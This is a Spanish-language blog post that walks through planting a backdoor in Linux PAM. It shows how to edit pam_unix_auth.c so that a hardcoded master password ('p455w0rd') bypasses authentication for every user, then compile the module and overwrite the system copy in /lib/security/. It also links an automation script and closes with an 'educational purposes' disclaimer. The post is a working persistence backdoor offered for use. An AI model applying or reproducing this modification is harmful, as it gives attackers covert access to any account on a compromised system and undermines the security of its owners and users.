Linux PAM (http://www.linux-pam.org/): Pluggable Authentication Modules. Es un mecanismo flexible y modular para autenticación de usuarios en sistemas linux.

En este artículo voy a explicar, con fines educativos, como incrustar un backdoor en el sistema PAM, que nos permita acceder al sistema con cualquier usuario, ingresando una clave particular que salteará el mecanismo de autenticación.

TL;DR

Para fortuna de los que no quieren hacer estas cosas a mano, hice un script que simplifica el asunto. Pueden encontrarlo en:

https://github.com/zephrax/linux-pam-backdoor

No fué probado con todas las versiones de PAM, si con alguna no funciona, pueden reportarme un issue e intentaré solucionarlo.

Procedimiento

Primero, tenemos que detectar qué versión de PAM tiene el target la computadora de investigación. En mi caso, que uso archlinux, con pacman (gestor de paquetes) puedo saber que version de PAM tengo instalada:

→ pacman -Qi pam
Name            : pam  
Version         : 1.3.0-1  

Tengo la 1.3.0, por lo que voy a proceder a bajar el código fuente de la 1.3.0 de http://www.linux-pam.org/library/

Descomprimimos el código, y buscamos el archivo modules/pam_unix/pam_unix_auth.c

Buscamos la linea:

/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);  

En mi caso, que tengo PAM 1.3.0, está en la ínea 172 del archivo.

Ahora si prestamos atención, la llamada a unixverify_password es la que está validando un password de usuario (p).

Cambiamos esas lineas por lo siguiente:

/* verify the password of this user */
if (strcmp(p, "p455w0rd") != 0) {  
  retval = _unix_verify_password(pamh, name, p, ctrl);
} else {
  retval = PAM_SUCCESS;
}   

Guardamos el archivo y compilamos:

~# make

Y listo, ahora el último paso es copiar el ./modules/pamunix/.libs/pamunix.so al directorio de sistema donde estén ubicados los módulos de pam, en mi caso es en /lib/security/

~# cp modules/pam_unix/.libs/pam_unix.so /lib/security/

Y listo, ahora todos los usuarios van a loguearse correctamente con la password del backdoor p455w0rd

Disfrutar responsablemente, todo lo publicado aquí es pura y exclusivamente con fines educativos, no me responsabilizo por el uso que se le pueda llegar a dar.

:wq!